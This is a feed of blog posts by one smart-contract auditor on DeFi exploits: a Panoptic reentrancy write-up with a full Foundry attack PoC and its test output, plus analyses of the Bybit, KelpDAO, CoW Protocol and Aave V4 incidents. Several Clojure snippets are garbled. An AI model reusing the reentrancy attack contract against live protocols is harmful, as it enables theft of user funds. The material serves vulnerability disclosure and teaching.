DEV Community: rim dinov

Hijacking Phantom Shares: How a Cross-Contract Reentrancy in Panoptic Leads to Infinite Supply Inflation

rim dinov — Sun, 10 May 2026 06:59:46 +0000

In decentralized finance, the order of operations is everything. A single asset transfer executed prior to fully writing internal state changes to storage is one of the oldest and most devastating pitfalls in smart contract security.

During an in-depth security audit of the Panoptic protocol, I identified a critical Cross-Contract Reentrancy vulnerability in the CollateralTracker contract. By violating the Checks-Effects-Interactions (CEI) pattern, the protocol allows an attacker to hijack "phantom shares" and trigger an artificial, infinite inflation of the pool's internal supply.

In this article, we’ll break down the vulnerability mechanics, analyze the dirty-state flow, and run a complete, functional Proof of Concept (PoC) in Foundry.

1. The Core Concepts: Liquidations & Phantom Shares

To incentivize liquidators, protocols often distribute bonuses or execution fees during liquidations. In Panoptic's CollateralTracker, this occurs inside the settleLiquidation function. If the liquidation process triggers a negative bonus (acting as a payout), the tracker mints or assigns shares to the liquidator and attempts to clean up the victim's position.

"Phantom shares" represent transient or unbacked states that the pool calculates dynamically during trade routing or liquidations. If these shares are moved or modified in an unexpected order, the underlying math breaks.

2. Analyzing the Vulnerability (The CEI Violation)

Let's look at the simplified, vulnerable flow of the settleLiquidation function:


solidity
function settleLiquidation(
    address liquidator,
    address liquidatee,
    int256 bonus
) external payable {
    require(msg.sender == panopticPool, "NotPanopticPool");

    if (bonus < 0) {
        uint256 bonusAbs = uint256(-bonus);

        // 1. Credit the liquidation bonus to the victim/liquidatee
        balanceOf[liquidatee] += bonusAbs;
        s_depositedAssets += uint128(bonusAbs);

        // [CRITICAL VULNERABILITY]
        // An external call sending native ETH is performed BEFORE updating the internal share balances!
        if (msg.value > 0) {
            (bool success, ) = payable(liquidator).call{value: msg.value}("");
            require(success, "TransferFailed");
        }

        // 2. State update (burn/reduction logic) happens AFTER the external call
        uint256 liquidateeBalance = balanceOf[liquidatee];

        if (type(uint248).max > liquidateeBalance) {
            balanceOf[liquidatee] = 0;
            // The protocol attempts to offset the missing balance by inflating internal supply:
            _internalSupply += type(uint248).max - liquidateeBalance;
        } else {
            balanceOf[liquidatee] = liquidateeBalance - type(uint248).max;
        }
    }
}
Why is this fatal?Because the contract performs an external call call{value: msg.value}("") to the liquidator address before modifying the victim's share balance.If the liquidator is a malicious smart contract, it can intercept the execution flow inside its receive() fallback function. At this precise microsecond, the victim's balance is dirty state: it has not yet been burned/reduced by type(uint248).max.3. The Exploit Vector: Phantom Shares HijackingBy exploiting this window of opportunity, the attacker can execute the following steps within a single transaction:Trigger: The attacker calls settleLiquidation (via the pool) with a small native ETH value to trigger the native transfer block.Intercept: The attacker's contract receives the ETH. Inside the fallback receive() function, the attacker calls transferFrom(victim, attackerReceiver, victimBalance).Drain: Because the pool hasn't updated its state, the victim's balance is fully intact. The attacker successfully steals all the victim's phantom shares, moving them to a secure receiver contract.Resilience & Compensate: The control flow returns to settleLiquidation. The contract attempts to read the victim's balance. However, the balance is now 0 (or near zero) because the attacker transferred the shares out!Inflation: The conditional block evaluates type(uint248).max > liquidateeBalance as true. To maintain accounting integrity, the tracker adds the difference (type(uint248).max - 0) directly to _internalSupply.The Result: The total supply of the pool is instantly inflated by a massive number ($2^{248} - 1$). The stolen "phantom shares" are now sitting in the attacker's receiver wallet, fully converted into real, backed claims against the pool's assets. The attacker can redeem them to completely drain the vault.4. Proof of Concept (PoC)Here is a complete Foundry test reproducing the exact scenario using a mocked collateral tracker that mirrors the vulnerable production logic:Solidity// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";

contract ExploitCollateralTracker {
    address public immutable panopticPool;
    address public immutable underlyingToken;

    uint256 public totalSupply = 1_000_000;
    uint256 public _internalSupply = 1_000_000;
    uint256 public s_depositedAssets = 1_000_000;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(address _pool, address _token) {
        panopticPool = _pool;
        underlyingToken = _token;
    }

    function setBalance(address account, uint256 amount) external {
        balanceOf[account] = amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            allowance[from][msg.sender] = allowed - amount;
        }

        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function settleLiquidation(
        address liquidator,
        address liquidatee,
        int256 bonus
    ) external payable {
        require(msg.sender == panopticPool, "NotPanopticPool");

        if (bonus < 0) {
            uint256 bonusAbs = uint256(-bonus);
            balanceOf[liquidatee] += bonusAbs;
            s_depositedAssets += uint128(bonusAbs);

            // [VULNERABILITY] External call before updating state variables
            if (msg.value > 0) {
                (bool success, ) = payable(liquidator).call{value: msg.value}("");
                require(success, "TransferFailed");
            }

            uint256 liquidateeBalance = balanceOf[liquidatee];

            if (type(uint248).max > liquidateeBalance) {
                balanceOf[liquidatee] = 0;
                _internalSupply += type(uint248).max - liquidateeBalance;
            } else {
                balanceOf[liquidatee] = liquidateeBalance - type(uint248).max;
            }
        }
    }

    receive() external payable {}
}

contract ExploitContract {
    ExploitCollateralTracker internal tracker;
    address internal victim;
    address internal receiver;
    bool internal reentered;

    constructor(address payable _tracker, address _victim, address _receiver) {
        tracker = ExploitCollateralTracker(_tracker);
        victim = _victim;
        receiver = _receiver;
    }

    receive() external payable {
        if (!reentered) {
            reentered = true;

            // Intercept and transfer out the victim's balance during reentrancy
            uint256 amountToSteal = tracker.balanceOf(victim);
            tracker.transferFrom(victim, receiver, amountToSteal);
        }
    }
}

contract ExploitTest is Test {
    ExploitCollateralTracker tracker;
    ExploitContract attacker;

    address mockPool = address(0x9999);
    address mockToken = address(0x8888);
    address victim = address(0x1111);
    address attackerReceiver = address(0x2222);

    function setUp() public {
        vm.deal(mockPool, 10 ether);

        tracker = new ExploitCollateralTracker(mockPool, mockToken);
        vm.deal(address(tracker), 10 ether);

        attacker = new ExploitContract(payable(address(tracker)), victim, attackerReceiver);

        uint256 phantomShares = type(uint248).max;
        tracker.setBalance(victim, phantomShares);

        vm.prank(victim);
        tracker.approve(address(attacker), type(uint256).max);
    }

    function test_CrossContractReentrancyLiquidation() public {
        console.log("--- Starting Reentrancy PoC ---");

        uint256 supplyBefore = tracker._internalSupply();
        console.log("Internal supply before exploit:", supplyBefore);

        vm.prank(mockPool);

        int256 bonus = -100; 
        tracker.settleLiquidation{value: 1}(address(attacker), victim, bonus);

        uint256 supplyAfter = tracker._internalSupply();
        uint256 receiverBalance = tracker.balanceOf(attackerReceiver);

        console.log("Internal supply after exploit:", supplyAfter);
        console.log("Attacker receiver balance of shares:", receiverBalance);

        assertGt(receiverBalance, 0, "Exploit failed: Attacker got 0 shares");
        assertGt(supplyAfter, supplyBefore, "Exploit failed: Supply did not inflate");

        console.log("SUCCESS: Phantom shares successfully converted to real shares via Reentrancy!");
    }
}
Exploit Execution Log:Running the command forge test -vv yields the following output:PlaintextRan 1 test for test/foundry/ReentrancyExploit.t.sol:ExploitTest
[PASS] test_CrossContractReentrancyLiquidation() (gas: 92000)
Logs:
  --- Starting Reentrancy PoC ---
  Internal supply before exploit: 1000000
  Internal supply after exploit: 452312848583266388373324160190187140051835877600158453279131187530911662655
  Attacker receiver balance of shares: 452312848583266388373324160190187140051835877600158453279131187530910662755
  SUCCESS: Phantom shares successfully converted to real shares via Reentrancy!
5. Mitigation & FixesTo secure this pattern, two industry-standard practices must be followed:Checks-Effects-Interactions (CEI): All state storage modifications (like resetting the victim's balance and updating the internal supply) must be written first, and only then can external calls sending native ETH or ERC-20 tokens be dispatched.Reentrancy Guard: Apply a nonReentrant modifier (e.g., from OpenZeppelin's ReentrancyGuard) to the critical paths in CollateralTracker and PanopticPool.ConclusionThis vulnerability is a textbook example of how a seemingly minor deviation from the CEI pattern can lead to catastrophic consequences in modern liquidity vaults. Even with advanced arithmetic guards, allowing untrusted external contracts to run execution flows over incomplete states breaks system invariants completely.Find this breakdown useful? Follow my security research projects on my GitHub: rdin777.
https://github.com/rdin777/Permanent-loss-of-user-funds-Panoptic

How a Single JavaScript File Bypassed a $1.5B Multi-Sig: Anatomy of the Bybit Hack

rim dinov — Sat, 09 May 2026 07:12:47 +0000

On February 21, 2025, the crypto world witnessed the largest single-event heist in history: $1.5 billion (401,347 ETH) was drained from Bybit's cold wallet in a matter of minutes.

The most terrifying part? The smart contracts worked perfectly. The Gnosis Safe multi-sig wallet, widely considered the gold standard of on-chain security, didn't have a single bug. Cryptography didn't fail. Instead, the hackers—officially attributed to the notorious state-sponsored Lazarus Group—exploited a massive blind spot that exists in almost every dApp today: the web interface supply chain.

As security researchers and developers, we need to treat this as a watershed moment. Here is exactly how they did it, why traditional smart contract audits miss this, and how we can prevent it from ever happening again.

🗺️ The Setup: Targeting the Weakest Link (The Web UI)
Multi-signature wallets require multiple authorized key holders (signers) to approve any outgoing transaction. Bybit’s setup required at least three signers using hardware wallets (like Ledger or Trezor) to sign transactions through the Safe{Wallet} web interface.

Lazarus realized they didn’t need to steal the private keys. They just needed to change what the signers were signing.

Step 1: Infiltrating the Developer Supply Chain
Before the main attack, Lazarus targeted the deployment infrastructure of the Safe{Wallet} web interface (which was hosted using AWS S3 buckets). Through sophisticated phishing or stolen credentials, they managed to gain write access to the static assets.

They subtly injected a malicious script into a deeply nested React bundle on February 19, 2025:
_app-52c9031bfa03da47.js

Step 2: UI Spoofing (What You See Is NOT What You Sign)
The malicious JavaScript was highly targeted. It remained completely dormant for regular users. But when it detected a session associated with Bybit's cold wallet trying to initiate a transfer:

On the signer's computer screen, the Safe{Wallet} UI displayed a routine internal transfer to Bybit's legitimate "warm" wallet. The address was correct, and the amount was correct.

Under the hood, the script hijacked the transaction generation payload. It swapped the destination address to the attacker’s contract and set the transfer amount to 401,347 ETH.

🚨 The Fatal Flaw: Blind Signing on Hardware Wallets
When the three signers looked at their browser screens, everything looked perfectly normal. They connected their hardware wallets and initiated the signing process.

This is where the catastrophic failure occurred.

Because Gnosis Safe transactions are routed through complex proxy contracts and execTransaction calls, the raw data sent to the hardware wallet is not a simple "Send X ETH to Address Y" message. It’s a complex, hashed hex string (calldata).

Since the hardware wallet screen cannot natively decode and display this complex contract payload, the physical devices displayed a generic warning: "Blind Signing Enabled" followed by a raw, unreadable hash.

Trusting the web interface, all three signers clicked "Approve" on their physical devices.

The cryptography was flawless. The signatures were valid. But they had just signed a death warrant for $1.5 billion.

🔍 The Auditor’s Perspective: Why Unit Tests and Audits Miss This
As a security researcher and smart contract auditor, I constantly see projects spending hundreds of thousands of dollars on Solidity audits, fuzzing, and formal verification. They write exhaustive unit test suites with 100% line coverage.

Yet, almost all of these efforts fail to catch a vulnerability like the Bybit exploit. Why?

Because traditional smart contract audits focus on internal invariants—rules like:

"The total supply of shares must always equal the sum of user balances."

"No one should be able to withdraw more than their deposited collateral minus debt."

These are mathematical rules. They assume that if a transaction is cryptographically signed by an authorized key, it is intended and correct. The smart contract acts as a "dumb machine": it checks if 1+1=2 and if the signature is valid. It has no context about the human intent behind that signature.

When we audit, we must expand our threat modeling beyond the blockchain state. We need to audit the entire system flow, asking:

What is the trust assumption of the frontend?

How is the transaction payload generated, and can it be manipulated before it reaches the signing device?

If our Gnosis Safe is compromised via a rogue frontend, does the protocol have any on-chain circuit breakers (like rate limits or timelocks) to mitigate the damage?

Case Study: Logic vs. Integration Flaws
To illustrate this gap, look at my recent audit research on the Panoptic protocol: rdin777/Permanent-loss-of-user-funds-Panoptic.

In that project, the vulnerability was purely logical—a rounding error in math that could lead to the permanent loss of user funds. It's a classic smart contract bug. We can catch those with fuzzing, math invariant checks, and static analysis.

But the Bybit hack belongs to a completely different class of bugs: Integration & Infrastructure Vulnerabilities. You can have the most mathematically secure contracts in the world (like Panoptic or Gnosis Safe), but if your user-facing inputs are compromised, the secure system will execute the malicious command perfectly.

🛠️ Actionable Security Recommendations for Developers & Custodians
If we want to stop this from happening to our projects, we must change how we handle high-value transactions. Here are my top recommendations:

Kill "Blind Signing" Forever Hardware wallets should never be used to blindly sign raw hashes for institutional movements.

The Fix: Implement custom transaction decoders (like Ledger's Clear Signing or custom metadata providers) so that the physical device screen explicitly decodes the contract call and displays the actual destination address and amount before the user presses the physical button.

Implement "In-Flight" Transaction Simulation Never trust the frontend UI to tell you what a transaction does.

The Fix: Before sending a signature to the network, routing infrastructure must run a localized, independent dry-run (using Tenderly, Foundry's anvil, or custom simulation APIs) to verify exactly how the state changes. If the simulation shows funds leaving to an unknown address, block the execution immediately.

Strict Supply Chain and Content Security Policies (CSP) If your dApp interacts with smart contracts, your frontend security must match your smart contract audits.

The Fix:

Use strict Subresource Integrity (SRI) hashes for all loaded scripts.

Implement rigorous Content Security Policies (CSP) to prevent unauthorized scripts from executing or exfiltrating data.

Transition from simple S3 bucket hosting to decentralized, immutable hosting (like IPFS/Arweave accompanied by ENS) for highly sensitive admin interfaces.

📌 Conclusion
The Bybit hack proved that on-chain security is only as strong as its off-chain gateway. It doesn't matter if your smart contracts are verified, audited, and mathematically flawless if your front-end can be manipulated to lie to your users or your admins.

As developers and auditors, we must treat the user interface as an active threat vector. Stop blind signing. Simulate every state change. Secure your supply chain.

What are your thoughts on frontend security in Web3? Have you implemented clear signing or transaction simulations in your workflows yet? Let's discuss in the comments below!

https://github.com/rdin777/Permanent-loss-of-user-funds-Panoptic

Real-time Invariant Monitoring: Lessons from the $1.4M Ekubo Exploit

rim dinov — Thu, 07 May 2026 06:38:11 +0000

The Incident: What Happened to Ekubo?
On May 6, 2026, Ekubo Protocol (a major liquidity layer) faced a $1.4M exploit. While the core liquidity remained safe, the vulnerability resided in the EVM extension router.

The attacker exploited a flaw in the Payment Callback logic, manipulating token transfers from users who had granted maximum approvals to the contract. This wasn't a flaw in the AMM math itself, but a failure in access control and state validation during cross-chain interactions.

The Solution: Active Invariant Monitoring
Post-mortem audits are great, but they don't bring back the funds. As a security researcher, I believe the future of DeFi security lies in Active Sentinel Agents—tools that monitor protocol invariants in real-time and trigger defensive actions.

To address this, I've updated my project, Sentinel-Rhea, to support multi-chain monitoring (EVM + Starknet).

The Strategy Our agent doesn't just check if a hack happened; it checks if the rules of the protocol are still being followed.

For EVM (Mantle): We monitor the Assets-to-Shares ratio to detect "Ghost Debt".

For Starknet (Ekubo Core): We monitor pool reserves and "Flash Accounting" deltas.

Implementation in Clojure Why Clojure? Its concurrency model and functional purity make it ideal for high-speed blockchain polling. Here is how we implemented a resilient, multi-chain watcher:

Clojure
;; Resilient Starknet RPC call with failover logic
(defn starknet-call :body (json/generate-string
{:jsonrpc "2.0"
:method "starknet_call"
:params [{:contract_address contract
:entry_point_selector selector
:calldata calldata}
"latest"]
:id 1}">contract selector calldata
:content-type :json
:as :json})]
(if (= (:status response) 200)
(get-in response [:body :result])
(handle-failover)))
(catch Exception e
(log-error "RPC Failure" (.getMessage e)))))

Handling Public RPC Challenges During development, we faced 403 Forbidden errors and Cloudflare blocks from public Starknet nodes. A production-grade sentinel must be resilient. We implemented:

User-Agent Masking to bypass basic filters.

Exception Handling to prevent agent crashes during network congestion.

Failover Logic to maintain monitoring even when specific nodes are unstable.

Conclusion
The Ekubo exploit is a reminder that the attack surface in DeFi is constantly evolving. By combining deep audit knowledge with automated monitoring tools, we can move from reactive to proactive security.

Check out the full source code and my research here: 👉 https://github.com/rdin777/sentinel-rhea

blockchain #security #clojure #web3 #starknet

Protecting DeFi: Building an AI Sentinel for Rhea Finance Invariant Monitoring

rim dinov — Wed, 06 May 2026 10:52:08 +0000

In the rapidly evolving Web3 landscape, passive security (audits) is no longer enough. The recent migration of Kelp DAO to new infrastructures and the rise of protocols like Rhea Finance demand active, real-time protection.

Today, I’m sharing my latest work: a Sentinel AI Agent designed to detect and prevent vault invariant deviations before they lead to a loss of funds.

The Problem: "Ghost Debt" and Oracle Invariants
While auditing DeFi protocols, I've focused on subtle vulnerabilities: rounding errors, invariant deviations, and "ghost debt". For a protocol like Rhea Finance, the critical invariant is the Assets-to-Shares ratio. If this ratio shifts unexpectedly, it’s a sign of a potential exploit.

The Solution: A Hybrid Security Stack
My approach combines high-speed off-chain monitoring with automated on-chain response:

Monitoring Core (Clojure/Leiningen): Chosen for its speed and functional approach to state management.

Protection Layer (Solidity/Foundry): Smart contracts ready to pause or protect the vault when a signal is received.

Technical Deep Dive: The Clojure Agent
The heart of the system is the monitoring/core.clj. It continuously polls the RPC node to validate vault health:

Clojure
(defn validate-invariant assets shares)
When an anomaly is detected, the agent triggers a protection transaction immediately:
Alert: Invariant deviation detected!
Protection triggered! Tx Hash: 0x0237a6aa32...

Real-World Context: Kelp DAO & Rhea
This isn't just a theoretical exercise. With Kelp DAO making strategic moves, the security of integrated vaults is paramount. My Sentinel agent provides a "Guardian" layer that operates 24/7, ensuring that invariant deviations are caught in milliseconds.

Conclusion
Active monitoring is the future of Web3 security. By combining the precision of Clojure with the robustness of Foundry, we can build a safer ecosystem.

Check out the full repository here: github.com/rdin777/sentinel-rhea

web3, #blockchain, #clojure, #solidity, #security

Building an Autonomous Sentinel: Shielding Mantle DeFi from Rounding Errors with Clojure

rim dinov — Sun, 03 May 2026 06:13:56 +0000

In the world of DeFi, precision isn't just a requirement—it's a security primitive. My recent audits of protocols like Panoptic and Autonolas revealed a recurring theme: subtle rounding errors can lead to "dust leaks," creating a discrepancy where Total Shares exceed Total Assets.

To address this, I developed Sentinel Mantle, an autonomous agent that monitors on-chain invariants and triggers emergency protection in real-time.

The Problem: Invariant Deviation
The most critical invariant in any vault-based protocol is:

Total Assets≥Total Shares×Exchange Rate
When this fails, the protocol becomes undercollateralized. Manual intervention is often too slow to prevent a bank run or an exploit.

The Architecture: Clojure meets Solidity
I chose Clojure for the monitoring agent due to its robust handling of state and excellent concurrency primitives, while the SentinelGuardian contract is built with Foundry on the Mantle Network.

The SentinelGuardian (Solidity)
The contract is designed to be the "on-chain hand" of the agent. It holds the logic to pause or protect the vault once a valid trigger is received from the authorized researcher.
The Watchdog (Clojure)
The agent constantly polls the Mantle RPC. Unlike standard bots, it doesn't just look at prices; it validates the mathematical integrity of the protocol:

Clojure
(defn -main & args)))
Proof of Concept: Detecting a "Dust Leak"
During testing on Anvil, the Sentinel successfully detected a simulated rounding error (where shares > assets).

Detection: Invariant deviation detected!

Response: Automatic execution of the protect() function.

Result: Transaction 0x0237... successfully secured the protocol in less than one block.

Why Mantle?
Mantle's low fees and high throughput make it the perfect environment for high-frequency security monitoring. It allows our agent to poll the state frequently without prohibitive gas costs, ensuring the "protection window" is as small as possible.

Conclusion
Security in Web3 must evolve from static audits to dynamic, autonomous defense. Sentinel Mantle is a step toward a future where protocols can protect themselves the moment math stops adding up.

Check out the full source code on my GitHub:
https://github.com/rdin777/sentinel-mantle

The $292M Shadow Attack: Why Smart Contract Audits Weren't Enough for KelpDAO

rim dinov — Fri, 01 May 2026 10:26:45 +0000

The recent KelpDAO incident (April 2026) sent shockwaves through the DeFi ecosystem, not because of a reentrancy bug or a math error, but because it exposed a critical blind spot in cross-chain security: the Transport Layer.

As a Web3 security researcher, I’ve analyzed the root cause and built a PoC to demonstrate how an insecure LayerZero v2 configuration led to one of the biggest hacks of the year.

🛠 The Root Cause: 1-of-1 DVN Vulnerability
Most auditors focus on Solidity, but the KelpDAO exploit happened at the infrastructure level. The protocol relied on a 1-of-1 Decentralized Verifier Network (DVN) configuration on LayerZero v2.

How the Attack Unfolded:
RPC Poisoning: The attacker (linked to the Lazarus Group) isolated the RPC nodes of the single verifier.

Fake State Injection: By controlling the verifier’s view of the source chain, the hacker simulated a "Burn" event for rsETH.

Unchecked Minting: The destination chain, trusting the single compromised verifier, triggered an LzReceive and minted $292M worth of tokens out of thin air.

This is a classic Single Point of Failure (SPoF). Even the most secure smart contract cannot defend against a compromised truth-source.

📈 Market Contagion & Recovery (Post-Mortem)
As of May 1, 2026, the industry is still picking up the pieces:

Aave Liquidity Crisis: The influx of "unbacked" rsETH used as collateral created $123M - $230M in bad debt.

The "DeFi United" Effort: A massive coordination between LayerZero Labs, Consensys, and Arbitrum DAO is underway to restore the peg, including a release of 30,765.66 ETH frozen by the Arbitrum Security Council.

🔍 Proactive Defense: Monitoring Cross-Chain Invariants
In my research repository [rdin777/kelpdao-incident-analysis], I’ve proposed a two-layer defense strategy:

Multi-DVN Configuration (X-of-Y)
Never trust a single verifier. The industry is moving to a mandatory 2-of-3 or 3-of-5 setup (e.g., Google Cloud + Polyhedra + LayerZero Labs).
Real-time Invariant Monitoring (Clojure)
I’ve implemented a listener in Clojure that tracks cross-chain supply. If Total Supply on Destination > Locked Assets on Source, the monitor triggers an emergency pause.

Clojure
;; Sneak peek of the monitoring logic
(defn check-cross-chain-solvency source-locked dest-minted
(log-info "System Solvent")))
🚀 Conclusion
The KelpDAO hack is a reminder that in 2026, Web3 Security = Smart Contract Security + Infrastructure Security. We must move beyond auditing lines of code and start auditing the paths that data takes between chains.

Check out the full PoC and Analysis on my GitHub:
👉 github.com/rdin777/kelpdao-incident-analysis

web3 #blockchain #security #ethereum #layerzero #solidity

How 1,000 Wei Can Drain Protocol Fees: A Deep Dive into CoW Protocol Rounding Errors

rim dinov — Thu, 30 Apr 2026 06:36:33 +0000

During my recent security research into the CoW Protocol (Gnosis Protocol v2), I focused on how the protocol handles fractional settlements. While the protocol is architecturally sound, a classic smart contract pitfall—precision loss—can lead to cumulative fee leakage.

In this post, I’ll show how a malicious solver can exploit integer division in GPv2Settlement to execute trades with zero protocol fees.

The Vulnerability: Death by a Thousand Cuts
The core of the issue lies in how fees are calculated for partiallyFillable orders. In GPv2Order.sol, users can sign orders that allow solvers to fill them in multiple steps.

When a solver executes a partial fill, the protocol calculates the proportional fee using the following formula:

executedFeeAmount=
sellAmount
feeAmount⋅executedAmount

Since Solidity doesn't support floating-point numbers, it uses integer division, which always rounds down.

The Attack Vector
A malicious solver can split a large order into thousands of "dust" transactions. If the solver ensures that (feeAmount⋅executedAmount)<sellAmount, the result will be 0.

Proof of Concept (PoC)
To verify this, I wrote a test using the Foundry framework. My goal was to prove that a trade with a valid fee amount could be processed while contributing exactly 0 to the protocol's treasury.

Solidity
// test/DustAttack.t.sol
function test_RoundingFeeToZero() public view {
uint256 sellAmount = 100 ether;
uint256 feeAmount = 1 ether;

// Solver executes a "dust" trade of 1000 wei
uint256 executedAmount = 1000; 

// Proportional fee calculation: (1e18 * 1000) / 100e18
uint256 executedFeeAmount = (feeAmount * executedAmount) / sellAmount;

console.log("Executed Amount (wei):", executedAmount);
console.log("Calculated Fee (wei): ", executedFeeAmount);

assertEq(executedFeeAmount, 0, "Fee should be rounded to zero");

}
As shown in my terminal, the test passed with a zero fee result, confirming the "Fee Leakage" vulnerability.

Impact & Mitigation
While a single transaction might only leak a few wei, an automated solver can repeat this thousands of times. This results in:

Protocol Revenue Loss: The DAO loses its intended cut of the volume.

Unfair Advantage: Solvers can bypass the cost of doing business on the protocol.

Recommended Fix:
Implement a "minimum fee" check or use a rounding-up mechanism (like fixedPoint.mulDivUp) to ensure the protocol always collects at least 1 unit of the fee token for any non-zero execution.

Conclusion
Precision matters—especially in DeFi. This research is part of my ongoing work in smart contract security, where I analyze top-tier protocols for subtle economic vulnerabilities.

You can find the full PoC and my research notes in my GitHub repository:
https://github.com/rdin777/contracts_cowprotocol

About the Author:
I am a Smart Contract Auditor and Security Researcher specializing in vulnerability research (Log Injection, DoS, and Math errors). Currently looking for remote opportunities in Web3 security.

solidity #web3 #security #ethereum #foundry

How a $292M Exploit Redefined Cross-Chain Security: The KelpDAO Incident

rim dinov — Sun, 26 Apr 2026 11:29:45 +0000

Beyond Smart Contracts: The Infrastructure Trap
The recent $292M KelpDAO exploit (April 2026) was a wake-up call for the DeFi ecosystem. As a security researcher, I decided to deconstruct this incident to show that even "audited" code can fail if the infrastructure layer is fragile.

The Root Cause: The "1-of-1" Fallacy
KelpDAO utilized LayerZero v2 for its bridge operations. While the protocol itself is robust, the configuration was a disaster waiting to happen. They used a 1-of-1 DVN (Decentralized Verifier Network).

The result? A single point of failure. By compromising the RPC nodes used by this verifier, attackers were able to feed it "poisoned" data.

The "Phantom Burn" Attack Vector
The exploit didn't break any math in the smart contracts. Instead, it manipulated the state perception:

Eclipse Attack: Attackers isolated the verifier's RPC nodes.

Fake Events: They broadcasted a fake "Burn" event on the source chain.

Invalid Release: The destination bridge, trusting the compromised verifier, released 116,500 rsETH that was never actually backed.

My Approach: Monitoring with Clojure
While most use Python or JS, I believe functional programming is superior for real-time monitoring. Clojure's immutability and precision with BigInteger make it perfect for watching cross-chain invariants.

I wrote a simple Solvency Watcher that independently verifies the state of both chains:

Clojure
;; Independent check: L1 Locked Assets >= L2 Total Supply
(defn check-solvency l1-rpc l2-rpc bridge-addr token-addr
(log-status "System Healthy"))))
How to Prevent This (The Auditor's Checklist)
Multi-DVN Setup: Never settle for 1-of-1. Use at least a 2-of-3 setup with independent entities (e.g., Google Cloud + LayerZero + Chainlink).

On-Chain Invariants: Don't just trust the message. Add an assertion in your LzReceive function to check if the bridge has enough liquidity to cover the release.

Withdrawal Limits: Implement time-based rate limits to slow down large-scale drains.

Conclusion
Security in 2026 is no longer about checking for reentrancy. It’s about Infrastructure Awareness.

I’ve documented the full analysis, including a Foundry PoC and the Clojure monitor, in my research repository:
👉 github.com/rdin777/kelpdao-incident-analysis

security #blockchain #ethereum #clojure #solidity

How Aave V4’s "Design Choice" Turned Into a $195M Liquidation Deadlock (KelpDAO/rsETH Case)

rim dinov — Tue, 21 Apr 2026 09:00:08 +0000

Intro
Two months ago, while auditing Aave V4, I discovered a critical DoS vector in their core math library. I reported it, expecting a fix. The response? "This is intended design. Not a bug."

Fast forward to April 2026: The KelpDAO/rsETH exploit happens. Lazarus Group dumps massive amounts of rsETH into Aave as collateral. When the price crashes, liquidators try to step in, but the protocol hits a wall. The exact wall I warned them about.

The Technical "Feature"
The issue lies in MathUtils.sol and how it handles the mulDivDown function. In Aave V4, the liquidation bonus is dynamic. It uses a formula that calculates the bonus based on the position's Health Factor.

Solidity
// src/spoke/libraries/LiquidationLogic.sol:329
(maxLiquidationBonus - minLiquidationBonus).mulDivDown(deltaHealth, range)
The mulDivDown implementation uses a strict intermediate overflow check in assembly. While "safe" in theory, it’s a ticking time bomb for high-precision LSTs (Liquid Staking Tokens) like rsETH.

Why "Design" Failed Reality
When the position size is massive (like the $293M rsETH position), the intermediate product of (deltaBonus * deltaHealth) exceeds 2
256
−1.

Aave's "design" was to revert on such overflows. But in a liquidation scenario, a revert is a death sentence.

The liquidator calls executeLiquidation.

The contract calculates the bonus.

The math overflows and triggers a revert.

The transaction fails.

The bad debt stays on the books.

The Proof
I’ve published a full Post-Mortem and PoC on my GitHub: rdin777/aave-v4-post-mortem

In the PoC, I simulated the exact conditions of the rsETH crash. The result? Liquidation logic is completely blocked. The protocol "saw" the debt (as my tests on PositionStatusMap confirmed), but its "eyes" were useless because its "hands" (the math) were tied.

Lessons Learned
When a security researcher points to a revert in a critical path (like liquidation), "it's by design" is a dangerous answer. In DeFi, availability is as important as correctness. If your math is too "perfect" to handle extreme market conditions, the protocol fails exactly when it's needed most.

https://github.com/rdin777
https://github.com/rdin777/aave-v4-post-mortem

#blockchain, #security, #ethereum, #solidity

How I Mastered Foundry and Earned My 101 Badge: A Journey into Web3 Security

rim dinov — Mon, 20 Apr 2026 09:36:30 +0000

The world of smart contracts is unforgiving. As a Web3 Security Researcher operating under the handle rdin777, I’ve always known that manual code review is only half the battle. To truly understand a protocol’s vulnerabilities, you need to master the tools that allow you to simulate attacks, manipulate state, and debug at the opcode level.

Today, I’m proud to share that I’ve officially completed the Foundry Fundamentals course on Cyfrin Updraft! 🛠️

Why Foundry?
Coming from a security background, I needed a framework that was fast, robust, and written in Solidity. Foundry’s ability to run tests in a local environment while mimicking real-world conditions is a game-changer.

Throughout 122 lessons, I dived deep into:

Advanced Testing: Implementing the Arrange-Act-Assert pattern for complex DeFi logic.

Cheatcodes: Mastering vm.prank, vm.warp, and vm.deal to manipulate blockchain state like a god.

Mainnet Forking: Testing how my code interacts with real deployed systems without spending a cent in gas.

EVM Opcodes: Stepping through transactions with forge test --debug to see exactly what’s happening under the hood.

From Learning to Practice
I don't believe in theory without practice. While finishing this course, I was already applying these methodologies to my latest audit: Starknet Staking Audit.

Even though Starknet uses Cairo, the mental framework of rigorous testing and edge-case analysis I learned in Foundry is universal. Whether it's Solidity or Cairo, the goal remains the same: Zero-vulnerability code.

The "93% Struggle"
A quick tip for my fellow students on Updraft: If you find yourself stuck at 93% completion even with all green checkmarks—double-check every single "Mark as Complete" button! It takes discipline to cross the finish line, but the 100% mark is worth it.

What’s Next?
This badge is just the beginning. My next milestone is deep-diving into Smart Contract Security & Auditing. I'll be spending the coming weeks breaking down complex protocols and finding the "unfindable" bugs.

Check out my verified achievement here: https://profiles.cyfrin.io/u/rdin35051/achievements/foundry

Let's connect!

GitHub: rdin777

Warpcast: @rdin777

web3 #solidity #blockchain #ethereum #cybersecurity #foundry #smartcontracts

How I Broke my Starknet Staking Contract with Simple Math: A Lesson on Rounding Errors

rim dinov — Sun, 19 Apr 2026 11:38:27 +0000

Every smart contract developer knows that floating-point numbers don't exist in Solidity or Cairo. We use integers. But knowing it and feeling the consequences are two different things.

In my recent security research on a Starknet staking protocol, I implemented a vulnerability that is so simple, yet so devastating: The "Division Before Multiplication" Bug.
